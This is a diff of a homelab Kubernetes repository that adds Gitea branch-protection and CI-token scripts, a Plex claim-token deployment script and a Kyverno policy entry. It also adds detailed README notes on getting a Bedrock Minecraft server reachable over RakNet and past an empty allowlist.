+api -X PATCH -H 'Content-Type: application/json' \
+  -d '{"block_admin_merge_override": true}' "$B" >/dev/null
+AFTER=$(api "$B" | jq -r .block_admin_merge_override)
+echo "==> after:  block_admin_merge_override = $AFTER"
+[ "$AFTER" = true ] || { echo "PATCH did not take -- do not record this as enforced." >&2; exit 1; }
+
+api "$B" | jq -r '{enable_push,enable_status_check,status_check_contexts,required_approvals,block_admin_merge_override}'
+cat <<'NOTE'
+
+NOW PROVE IT -- the setting is not the evidence. On the next PR:
+  * let the gate go green, then try to merge WITHOUT approving it.
+  * Gitea must REFUSE. If it merges, this still is not doing its job.
+Do not record approvals as enforced until you have seen a merge refused.
+NOTE

infra/gitea/expected-branch-protection.json

@@ -0,0 +1,20 @@
+{
+  "_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
+  "_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
+  "branch": "main",
+  "runners_online_min": 1,
+  "protection": {
+    "enable_push": false,
+    "enable_push_whitelist": false,
+    "enable_merge_whitelist": false,
+    "enable_status_check": true,
+    "status_check_contexts": [
+      "gate / gate (pull_request)"
+    ],
+    "required_approvals": 1,
+    "enable_approvals_whitelist": false,
+    "block_admin_merge_override": true,
+    "block_on_rejected_reviews": true,
+    "dismiss_stale_approvals": true
+  }
+}

infra/gitea/require-gate.sh

@@ -0,0 +1,60 @@
+#!/usr/bin/env bash
+# Items 1 + 2: make the gate a REQUIRED status check and require one approval.
+#
+# RUN THIS LAST. Prerequisites, in order:
+#   a) PR #7 (dind native sidecar) is MERGED, and
+#   b) you have SEEN a real workflow run go green on the converted pod.
+# The runner Deployment is the merge gate for the whole repo. Turning on a required check
+# while the runner is broken means no PR can merge -- including the revert. (Recoverable:
+# an owner can set enable_status_check back to false. But do not rely on that.)
+#
+# Requires exactly ONE context: `gate / gate (pull_request)`.
+#   * NOT `gate / conformance (*)` -- that job is `if: false`, and a skipped Gitea job reports
+#     SUCCESS ("Has been skipped"). Requiring it would pass VACUOUSLY forever while nothing
+#     ran, which under HARD RULE 4 is worse than a deadlock: a deadlock is loud.
+# block_admin_merge_override: true is LOAD-BEARING and was missing on the first pass. Gitea
+# lets repo admins override merge requirements without it, so required_approvals and the
+# required status check are both bypassable by exactly the account that does the merging.
+# Measured: PRs #5-#9 merged with ZERO approvals recorded against required_approvals: 1.
+#
+# FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins`. Asking jq for it returns null,
+# which reads like "false" but means "key absent" -- enumerate real keys with `to_entries`
+# instead of probing names you assume exist. That mistake cost a wasted PATCH.
+#
+#   * NOT the `(push)` variant -- after PR #6 there are no per-branch push runs at all, so a
+#     PR would never produce that context.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+
+echo "==> updating branch protection on main"
+jq -n '{
+  enable_push: false,
+  enable_status_check: true,
+  status_check_contexts: ["gate / gate (pull_request)"],
+  required_approvals: 1,
+  block_on_rejected_reviews: true,
+  dismiss_stale_approvals: true,
+  block_on_outdated_branch: false,
+  block_admin_merge_override: true
+}' | api -X PATCH -H 'Content-Type: application/json' --data @- \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main" >/dev/null
+
+echo "==> verifying"
+api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branches/main" \
+ | jq -r '{protected,user_can_push,enable_status_check,status_check_contexts,required_approvals}'
+
+cat <<'NOTE'
+
+NOTE ON required_approvals: 1 -- Gitea will not let an author approve their own PR.
+  * Agent-opened PRs (author gitea-admin) are approved by jakman85. Fine.
+  * PRs YOU open as jakman85 need gitea-admin to approve. If that is awkward, either open
+    agent work as gitea-admin and review as jakman85, or set required_approvals back to 0
+    and rely on the status check alone.
+
+Then prove it, rather than trusting the API:
+  git commit --allow-empty -m probe && git push origin main   # EXPECT: rejected
+  git reset --hard HEAD~1
+NOTE

infra/gitea/set-ci-token.sh

@@ -0,0 +1,56 @@
+#!/usr/bin/env bash
+# Mint a Gitea API token and store it as the repo Actions secret GITEA_SETTINGS_TOKEN,
+# so ci/gitea-settings.sh can read the live branch-protection rule during the gate.
+#
+# The token value is NEVER printed. It goes from the token API into the secrets API and
+# nowhere else -- not to stdout, not to a file, not into an agent transcript.
+#
+# Scope: `read:repository` + `read:admin` are what the check needs (the rule object, and the
+# runner list). Gitea token scopes are coarse; grant the least that works on your version and
+# confirm the check goes green rather than assuming the scope name.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
+# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
+# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
+SECRET=SETTINGS_API_TOKEN
+NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+
+echo "==> minting token '${NAME}' as ${U}"
+TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
+  -d "{\"name\":\"${NAME}\",\"scopes\":[\"read:repository\",\"read:admin\"]}" \
+  "https://${HOST}/api/v1/users/${U}/tokens" | jq -r '.sha1 // empty')"
+[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
+echo "==> got a ${#TOKEN}-character token (value not shown)"
+
+echo "==> storing it as repo Actions secret ${SECRET}"
+code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
+  -d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
+unset TOKEN
+if [ "$code" != 201 ] && [ "$code" != 204 ]; then
+  echo "   PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
+  rm -f /tmp/set-ci-token.out; exit 1
+fi
+rm -f /tmp/set-ci-token.out
+
+# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
+# reports success for a store that never happened -- which is exactly what it did.
+names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
+        | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
+grep -q "$SECRET" <<<"$names" \
+  || { echo "   stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
+echo "==> stored and VERIFIED present: ${names}"
+
+cat <<'NOTE'
+
+Next:
+  1. .gitea/workflows/gate.yml already passes this secret to the gate step.
+  2. Open any PR and confirm the gate prints "gitea-settings: green" -- it SKIPS silently
+     without the token, so a green run is the only proof the wiring works.
+  3. THEN set REQUIRE_GITEA_SETTINGS=true in gate.yml, so a future missing token BLOCKS
+     instead of skipping. Do that only after you have seen it green, or you lock the repo.
+NOTE

infra/gitea/verify-then-enforce.sh

@@ -0,0 +1,83 @@
+#!/usr/bin/env bash
+# verify-then-enforce.sh — run this AFTER you have merged PRs 8, 5, 6, 7 in that order.
+#
+# It does NOT merge anything. Merging is your reviewed act (CLAUDE.md: a human approves and
+# merges). This script does the mechanical half: prove the converted runner actually works,
+# and only then turn on enforcement.
+#
+# WHY THIS ORDER. The act-runner Deployment IS the merge gate for this repository. Enabling a
+# required status check while the runner is broken means NO PR can merge -- including the
+# revert. So PR #7 lands while the gate is still advisory, is PROVEN green on a real run, and
+# only then does enforcement go on.
+#
+# Aborts at the first checkpoint that does not pass. Safe to re-run.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+REPO_ROOT=/var/home/keith/source/home-network-k3s-impl
+D="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+cd "$REPO_ROOT"
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+A="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
+say() { printf '\n\033[1m==> %s\033[0m\n' "$1"; }
+die() { printf '\n\033[31mABORT: %s\033[0m\n' "$1" >&2; exit 1; }
+
+say "PRECHECK — all four PRs must be merged first"
+for n in 8 5 6 7; do
+  m=$(api "$A/pulls/$n" | jq -r .merged)
+  printf '  PR #%s merged=%s\n' "$n" "$m"
+  [ "$m" = true ] || die "PR #$n is not merged yet. Merge 8, 5, 6, 7 in that order, then re-run."
+done
+
+say "STEP 1 — force Flux to apply the sidecar now, not on the 10m interval"
+./infra/devcontainer/dev.sh run bash -c \
+  'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-1 --with-source'
+
+say "STEP 2 — CHECKPOINT: the converted pod must come up healthy"
+./infra/devcontainer/dev.sh run bash -c '
+  kubectl --context k3s-prod -n gitea-actions rollout status deploy/act-runner --timeout=180s
+  echo "--- sidecar (initContainers) ---"
+  kubectl --context k3s-prod -n gitea-actions get deploy act-runner \
+    -o jsonpath="{range .spec.template.spec.initContainers[*]}{.name} restartPolicy={.restartPolicy}{\"\n\"}{end}"
+  kubectl --context k3s-prod -n gitea-actions get pod -l app.kubernetes.io/name=act-runner' \
+  || die "converted act-runner pod is not healthy -- REVERT PR #7 before anything else"
+
+say "STEP 3 — CHECKPOINT: a runner must be ONLINE again"
+n=0
+for i in $(seq 1 40); do
+  n=$(api "https://${HOST}/api/v1/admin/actions/runners" | jq -r '[(.runners//[])[]|select(.status=="online")]|length')
+  printf '\r  online runners: %s  (%ss)   ' "$n" "$((i*5))"
+  [ "${n:-0}" -ge 1 ] && { echo; break; }
+  sleep 5
+done
+[ "${n:-0}" -ge 1 ] || die "no runner online after the conversion -- REVERT PR #7"
+
+say "STEP 4 — CHECKPOINT: a REAL workflow must go green ON THE CONVERTED POD"
+MAIN_SHA=$(api "$A/branches/main" | jq -r .commit.id)
+echo "  watching the post-merge push run on main (${MAIN_SHA:0:8})..."
+st=""
+for i in $(seq 1 60); do
+  st=$(api "$A/commits/$MAIN_SHA/status" | jq -r .state)
+  printf '\r  main gate: %-8s (%ss)   ' "$st" "$((i*10))"
+  case "$st" in success) echo; break;; failure|error) die "gate FAILED on the converted pod -- REVERT PR #7";; esac
+  sleep 10
+done
+[ "$st" = success ] || die "gate never completed on the converted pod -- REVERT PR #7; do NOT enable enforcement"
+echo "  the converted sidecar ran a real job green. Enforcement is now safe."
+
+say "STEP 5 — require the gate + one approval"
+"$D/require-gate.sh"
+
+say "STEP 6 — prove a direct push is rejected (do not trust the API's word)"
+git fetch -q origin && git checkout -q main && git reset -q --hard origin/main
+git commit -q --allow-empty -m 'protection probe'
+if git push origin main 2>&1 | grep -q 'protected branch'; then
+  echo "  CONFIRMED: push to main rejected by the pre-receive hook."
+else
+  echo "  WARNING: the push was NOT rejected -- protection is not doing what it claims."
+fi
+git reset -q --hard origin/main
+
+say "FINAL STATE"
+api "$A/branches/main" | jq -r '{protected,user_can_push,enable_status_check,status_check_contexts,required_approvals}'

infra/plex/claim-ship.sh

@@ -0,0 +1,94 @@
+#!/usr/bin/env bash
+# plex-claim-ship.sh — run this IMMEDIATELY AFTER editing the SOPS secret with a fresh
+# plex.tv claim token. It drives the whole CI/CD loop end to end and prints a running
+# stopwatch so you can see the budget being spent.
+#
+#   branch -> commit -> push -> PR -> gate -> merge -> reconcile -> pod roll -> verify
+#
+# It never sees, prints, or handles the token: the file is already encrypted by sops.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev
+OWNER=Home-Network
+REPO=home-network-k3s-impl
+SECRET=apps/wave-0/plex-claim-secret.sops.yaml
+T0=$(date +%s)
+el() { printf '\n[T+%02d:%02d] %s\n' $(( ($(date +%s)-T0)/60 )) $(( ($(date +%s)-T0)%60 )) "$1"; }
+
+cd "$(git rev-parse --show-toplevel)"
+
+# --- preflight: refuse to ship a file that is not what we think it is -------------
+git diff --quiet -- "$SECRET" && { echo "ERROR: $SECRET is unchanged. Edit it first:"; \
+  echo "  infra/devcontainer/dev.sh run sops $SECRET"; exit 1; }
+grep -q 'PLEX_CLAIM: ENC\[' "$SECRET" || { echo "ERROR: $SECRET is not encrypted. REFUSING."; exit 1; }
+[ -z "$(git status --porcelain | grep -v " $SECRET\$")" ] || echo "NOTE: other files are dirty; only $SECRET will be committed."
+
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+
+# Branch prefix is now cosmetic. It used to matter: gate.yml's push trigger covered
+# feature/** fix/** docs/** chore/** but not feat/**, and with act_runner at capacity 1 a
+# matching prefix fired a redundant run that serialised ahead of the PR run. Those
+# per-branch push triggers were deleted, so no prefix produces a duplicate run any more.
+BRANCH="feat/plex-claim-token-$(date +%H%M%S)"
+
+el "committing on $BRANCH"
+git checkout -q -b "$BRANCH"
+git add "$SECRET"
+git commit -q -m 'chore(plex): fresh plex.tv claim token
+
+Injected inside the plex.tv claim window per runbooks/plex-claim.md.'
+SHA=$(git rev-parse HEAD)
+
+el "pushing"
+git push -q -u origin "$BRANCH"
+
+el "opening PR"
+PR=$(jq -n --arg h "$BRANCH" --arg b main --arg t 'chore(plex): fresh plex.tv claim token' \
+       '{head:$h,base:$b,title:$t,body:"Token injection inside the claim window. Wiring already reviewed in #1."}' \
+     | api -X POST -H 'Content-Type: application/json' --data @- \
+         "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/pulls" | jq -r '.number')
+[ -n "$PR" ] && [ "$PR" != "null" ] || { echo "PR creation failed"; exit 1; }
+echo "  PR #$PR"
+
+el "waiting for the gate (expect ~1m40s)"
+for i in $(seq 1 60); do
+  st=$(api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/commits/${SHA}/status" | jq -r '.state')
+  printf '\r  gate=%s  [T+%ss]   ' "$st" "$(( $(date +%s)-T0 ))"
+  case "$st" in success) echo; break;; failure|error) echo; echo "GATE FAILED — stopping."; exit 1;; esac
+  sleep 5
+done
+[ "$st" = "success" ] || { echo; echo "gate did not finish in time"; exit 1; }
+
+el "merging PR #$PR"
+api -X POST -H 'Content-Type: application/json' -d '{"Do":"merge"}' \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/pulls/${PR}/merge" >/dev/null
+git checkout -q main && git pull -q --ff-only origin main
+
+el "forcing the Flux reconcile (--with-source, or it applies the OLD revision)"
+./infra/devcontainer/dev.sh run bash -c \
+  'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-0 --with-source'
+
+# MANDATORY here. Only the Secret ciphertext changed, so the Deployment pod template is
+# byte-identical and NOTHING restarts on its own. PLEX_CLAIM is read once, at container
+# start. Skipping this is failure mode #2 in runbooks/plex-claim.md.
+el "rolling the pod (mandatory — a changed Secret restarts nothing)"
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex rollout restart deployment/plex && \
+   kubectl --context k3s-prod -n plex rollout status deployment/plex --timeout=120s'
+
+el "verdict"
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n plex logs deploy/plex --since=3m | grep -i -e claim -e token || true'
+cat <<'NOTE'
+
+  "Attempting to obtain server token..." + "Token obtained successfully"  -> CLAIMED
+  "Attempting..." with no success line                                    -> token expired; retry, nothing is broken
+  neither line                                                            -> already claimed, or env did not reach the container
+
+Confirm it persisted (prints the attribute NAME only, never its value):
+
+  infra/devcontainer/dev.sh run bash -c \
+    'kubectl --context k3s-prod -n plex exec deploy/plex -- sh -c \
+       "grep -o PlexOnlineToken= \"/config/Library/Application Support/Plex Media Server/Preferences.xml\" | head -1"'
+NOTE

platform-config/kustomization.yaml

@@ -34,6 +34,14 @@ resources:
   # policies, the next import is blocked in the gap.
   - ../platform/kyverno/policies/label-cdi-worker-pods.yaml
   - ../platform/kyverno/admission/secret-provenance.yaml
+  # R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
+  # Kustomization is what actually applies ClusterPolicies. Adding a policy only to
+  # platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
+  # only ("kept as reference; THIS file is the buildable render root" in
+  # platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
+  # That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
+  # leaving the conformance-trigger identity live with nothing bounding it.
+  - ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
   # cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
   - cilium/l2-ip-pool.yaml
   - cilium/l2-announcement-policy.yaml

platform/crafty/README.md

@@ -21,7 +21,7 @@ Cilium L2 LoadBalancer (game protocols authenticate players themselves).
 | PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
 | Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
 | Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
-| Game VIP | **192.168.1.55** (Cilium L2 LoadBalancer; `.53`=Gateway, `.54`=unifi, `.55`=crafty) |
+| Game VIP | `${CRAFTY_L4_VIP}` (Cilium L2 LoadBalancer) — **prod `192.168.2.22`** (live `EXTERNAL-IP`, measured 2026-09-29); base/dev `192.168.1.55` |
 | Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
 
 ### fsGroup / user decision (the seerr lesson, applied)
@@ -76,15 +76,16 @@ can't span namespaces). Both are age-encrypted to the repo `sops-age` recipient
 ## Game-port L4 exposure
 
 The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
-two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP **192.168.1.55**
+two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP `${CRAFTY_L4_VIP}` (**prod
+`192.168.2.22`**)
 (`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
 is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
-themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → 192.168.1.55`.
+themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → ${CRAFTY_L4_VIP}`.
 
 ### Adding more game ports (when the operator creates servers)
 
-The operator has **not created any servers yet**; the starter set covers 3 Java + 3 Bedrock slots. To
-add capacity:
+As of 2026-09-29 **two** servers exist (see *Runtime state* below): Java `homelab` on 25565 and
+Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots. To add capacity:
 
 1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
 2. Add that port to the matching Service in `service-l4.yaml` (one
@@ -93,6 +94,274 @@ add capacity:
 4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
 5. Commit → Flux reconciles.
 
+### Bedrock on UDP 19132 — the transport trap, and the ERROR banner that is NOT a refusal (MEASURED on prod 2026-09-29)
+
+Two traps in sequence. The first hides the UDP socket; the second frightens you into undoing the fix.
+As of 2026-09-29 21:34 this server is **reachable on `19132/udp` and answering**, measured from
+off-cluster. Read both traps before changing anything.
+
+#### Trap 1 — `transport=nethernet` (the shipped default) opens no RakNet UDP listener
+
+Measured 20:54–21:32 against `K3s-Bedrock` (`c5837301-12b1-404e-b50e-70eafb37226b`, DB
+`type=minecraft-bedrock`, `server_port=19132`, process `./bedrock_server` alive):
+
+- `/proc/net/udp` and `/proc/net/udp6` held **no socket on 19132** (`0x4ABC`) at all. Port 19132 was
+  bound as **TCP** (`/proc/net/tcp6`, `…:4ABC`, state `0A`/LISTEN), not UDP.
+- That is nethernet working as designed, and the **shipped `bedrock_server_how_to.html`** — the
+  vendor's own doc, sitting on the PVC beside the binary — says exactly why: nethernet *"listens on a
+  single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake, then
+  negotiates a UDP connection with each client that carries the gameplay traffic."*
+- **So nethernet could never have worked here anyway, on two independent counts:** `service-l4.yaml`
+  exposes 19132 **only in the UDP Service** (`crafty-l4-tcp` carries 25565-25567 and nothing else), and
+  `crafty-allow-ingress` allows `19132 UDP` and **not** `19132 TCP`. The signaling port was unreachable
+  at both the Service and the policy layer. The server's own `packet-statistics.txt` for that run
+  agrees: `Total Received: 0, 0B` over 2293 s.
+- Crafty does not manage this property (`transport` appears nowhere under `/crafty/app/classes/`) and
+  its *only* Bedrock probe is `raknet_ping.py`, so the panel logged `WARNING
+  app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to 127.0.0.1:19132`
+  every ~5 s — **155 such lines** — against a server it had started successfully.
+
+#### Trap 2 — under `transport=raknet` this build prints a scary ERROR banner and then works anyway
+
+The operator set `transport=raknet` at 21:33:31 (`/crafty/logs/audit.log`: `Edited file
+/crafty/servers/c5837301-…/server.properties`) and started the server at 21:33:58. BDS **1.26.52**
+printed, at ERROR level:
+
+```
+[ERROR] ================ TRANSPORT TYPE ERROR  ===================
+[ERROR] Your current connection type is not set to NetherNet. In this release, NetherNet is the only
+        supported transport type.
+[ERROR] Players will not be able to connect to your game without NetherNet.
+[ERROR] To switch, set 'transport=nethernet' in server.properties.
+```
+
+**That banner is advisory, not fatal. Do not revert `transport` on seeing it.** Every claim it makes
+about connectivity was false on this cluster within five seconds of it being printed:
+
+- The process **kept running** (`./bedrock_server`, pid 47006) and **bound the RakNet sockets**:
+  `/proc/net/udp` `00000000:4ABC` (19132, IPv4) and `/proc/net/udp6` `…:4ABD` (19133, IPv6), both owned
+  by `bedrock_server` — `/proc/47006/fd/25` and `fd/26` → those socket inodes. The earlier **TCP** bind
+  on `4ABC` is **gone**.
+- Crafty's warning **changed kind** at that instant: last `Got timeout` at `21:34:04,306`, first
+  `Bedrock ping returned a string with too few fields` at `21:34:09,854`. That distinction is
+  load-bearing — read `raknet_ping.py`: `Got timeout` is emitted *only* when `sock.recv` raises
+  `TimeoutError` (nothing came back at all), whereas `too few fields` is reachable *only after* a
+  `0x1C` Unconnected Pong has arrived **and its magic has validated**. The server is answering pings.
+- **End-to-end, from off-cluster:** a RakNet Unconnected Ping sent from the LAN to the prod VIP
+  `192.168.2.22:19132` returns a 139-byte `0x1c` Unconnected Pong in ~12 ms, magic valid:
+
+      MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
+
+  Edition `MCPE`, protocol `2193`, version **`1.26.52`**, `0/10` players. **Players can reach this
+  server now**, through the VIP, the Service, and the CiliumNetworkPolicy, with no manifest change.
+- The vendor doc on disk contradicts the banner and matches the observed behaviour. `transport` is
+  documented as *"Allowed values: raknet, nethernet"*, and: *"**raknet** — The traditional Bedrock UDP
+  transport. The server listens directly on `server-port` (IPv4) and `server-portv6` (IPv6), and
+  clients connect to that address and port."* RakNet is also still fully compiled into the binary —
+  `strings bedrock_server` yields `RakNetConnector`, `createUniqueRakPeer`, `RakPeerInterface` and the
+  vendored build path `…/src-deps/raknet/raknet/RakNetSocket2.cpp`.
+
+So *"NetherNet is the only supported transport type"* is a **support statement, not a capability
+statement**: Microsoft declines to support RakNet and ships it working. Treat the banner as a
+deprecation notice with an **unknown expiry** — a future BDS may genuinely remove RakNet, and that is
+the day this exposure needs GeyserMC (see *If RakNet is ever really removed* below).
+
+> **The shipped-comment trap, stated plainly.** `server.properties` lists `raknet` as allowed and the
+> binary logs an ERROR saying it is not supported. Both are the vendor, and they disagree. The tiebreak
+> is neither prose: it is `/proc/net/udp` and a pong on the wire. Whenever this file says a Bedrock
+> server is or is not reachable, it is because someone pinged it — not because a comment said so.
+
+#### The steady-state `too few fields` warning is benign and is now the expected signature
+
+Crafty will log `Bedrock ping returned a string with too few fields - missing values [None]` every
+~5 s forever. **That means the ping SUCCEEDED.** BDS 1.26.52's pong carries 16 `;`-separated fields;
+Crafty 4.10.8's `pingpong_string_fields` table knows 14 and expects the last to be an empty
+terminator. It instead finds `'0'`, so `last_enumeration` stops at index 12 and the parser reports the
+one `None` terminator entry as missing. Every field that matters (edition, MOTD, protocol, version
+name, player count, max players, uuid, game mode, both ports) parsed correctly. **Do not chase this
+warning.** The failure signature is the *other* message, `Got timeout`.
+
+### "You are not invited to play on this server" — the join gate is the allowlist, not the network (MEASURED 2026-09-29 21:56; **RESOLVED and confirmed 22:03**)
+
+A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. That is
+an **authorization** refusal, and it is the expected, guaranteed behaviour of this server's current
+configuration. Measured:
+
+| Property / file | Value | Source |
+|---|---|---|
+| `allow-list` | **`true`** (line 37) | `server.properties` |
+| `allowlist.json` | **`[]`** — 3 bytes, mtime 20:51, never edited since server create | `cat allowlist.json` |
+| `online-mode` | `true` (line 31) | `server.properties` |
+| `transport` | **`raknet`** (line 71), file mtime **still 21:33:31** | `server.properties` |
+| TCP 19132 listener | **none** (`NO-TCP-4ABC`) | `grep 4ABC /proc/net/tcp /proc/net/tcp6` |
+| UDP 19132 listener | present, `00000000:4ABC`, pid 47006 | `grep 4ABC /proc/net/udp` |
+
+**`allow-list=true` with an empty `allowlist.json` refuses every player, unconditionally.** The shipped
+`bedrock_server_how_to.html` states it: *"If the `allow-list` property is enabled in server.properties
+then the server will only allow selected users to connect. To allow a user to connect you need to know
+their Xbox Live **Gamertag**."* An empty list selects nobody. This is not a network problem, not a
+transport problem, and not a platform problem — and no amount of Service or policy work will change it.
+
+#### CONFIRMED: one gamertag added, and a player joined
+
+**This is no longer a hypothesis. The fix was applied and it worked.** *(The join itself is
+**operator-reported** — 2026-09-29, the operator added the player's gamertag and the Bedrock client
+connected and joined. I did not watch it.)* Two independent things corroborate it **directly on disk**:
+
+- `allowlist.json` went from `[]` to **one entry**, and that entry's **`xuid` is populated**
+  (`keys=['ignoresPlayerLimit','name','xuid']`, file 75 bytes, mtime **22:03:17**). Per the vendor doc,
+  `xuid` is *"Optional. If it's not set then it will be populated when someone with a matching name
+  **connects**."* The operator wrote only the name — `audit.log` records `Edited file
+  …/allowlist.json` at **22:02:13** — so **the XUID was written by the server, on connect, at 22:03:17**.
+  That is server-authored evidence of an Xbox-Live-authenticated join. *(Observed: the file state and
+  both timestamps. Reasoned from the vendor doc: that a populated XUID implies a connect.)*
+- The RakNet path still answers after the restart this involved: a pong from `192.168.2.22:19132` at
+  22:06, `MCPE;…;1.26.52;0;10;…` (`players=0` — the player had left by then), new `server_guid` matching
+  the new pid.
+
+**So the causal chain is closed: `allow-list=true` + `allowlist.json == []` was the wall, and nothing
+else was.** The earlier mapping of the client's *"You are not invited"* string to the empty allowlist was
+**reasoned** from the vendor doc (there is no BDS log on disk to read it from); adding exactly one
+gamertag and getting exactly one successful join **confirms that mapping**. No transport change, no
+manifest change, and no network change was involved in the fix.
+
+> **Note the route the operator actually used:** they **edited `allowlist.json` directly** and then
+> **restarted** the server (`audit.log`: edit 22:02:13 → `stop_server` 22:02:37 → `start_server`
+> 22:02:41; pid 47006 → **47875**). That is route 2 below, and a restart is a valid substitute for
+> `allowlist reload`. Route 1 (`allowlist add` in the console) avoids the restart and is still preferred.
+
+**This is also positive evidence that the RakNet path works end to end.** A refusal authored by *our*
+server required the client to reach our server and get an answer back. The only listener on 19132 is
+the **RakNet UDP** socket — there is **no TCP 19132 listener at all**, and NetherNet requires a TCP
+signalling socket on `server-port`. So the client cannot have used NetherNet against this server; it
+arrived over `19132/udp`, through `crafty-l4-udp` and the VIP. **The 19132-19134/UDP exposure is not
+inert — it is the path that carried both the pong and this refusal.** *(Observed: the listeners, the
+absent TCP socket, `transport=raknet`. Reasoned from those: that the refusal traversed that path. Not
+captured: the actual player flow — see the caveat below.)*
+
+#### Caveat: BDS console output is NOT on disk, so a join attempt cannot be correlated from the filesystem
+
+`K3s-Bedrock`'s `log_path` in `crafty.sqlite` is the **empty string**, and `Dedicated_Server.txt` is
+**0 bytes**. Crafty does not persist a Bedrock server's stdout anywhere on the PVC — the console exists
+only in the panel UI. `commander.log` between 21:39 and 21:56 contains nothing but `homelab`
+crash-detection lines and the `raknet_ping` chatter: **no join, no gamertag, no XUID, no allowlist
+denial.** That absence is **not** evidence about where the refusal came from; it is evidence that
+Crafty logs no BDS stdout at all. **To see a rejected join you must watch the panel console live.**
+UNVERIFIED, and only observable in the UI.
+
+#### How a Bedrock player actually gets authorized here
+
+Identity is an **Xbox Live Gamertag** (`online-mode=true` forces XBL auth, which is what gives BDS a
+gamertag/XUID to check). `allowlist.json` is a JSON array; per the vendor doc the keys are `name` (the
+gamertag), optional `xuid` (*"populated when someone with a matching name connects"*), and
+`ignoresPlayerLimit`. So the operator adds **one entry per player, keyed on gamertag** — there is no
+group, role, or Keycloak integration, and **none of this touches the oauth2-proxy/Keycloak gate**,
+which protects only the web panel.
+
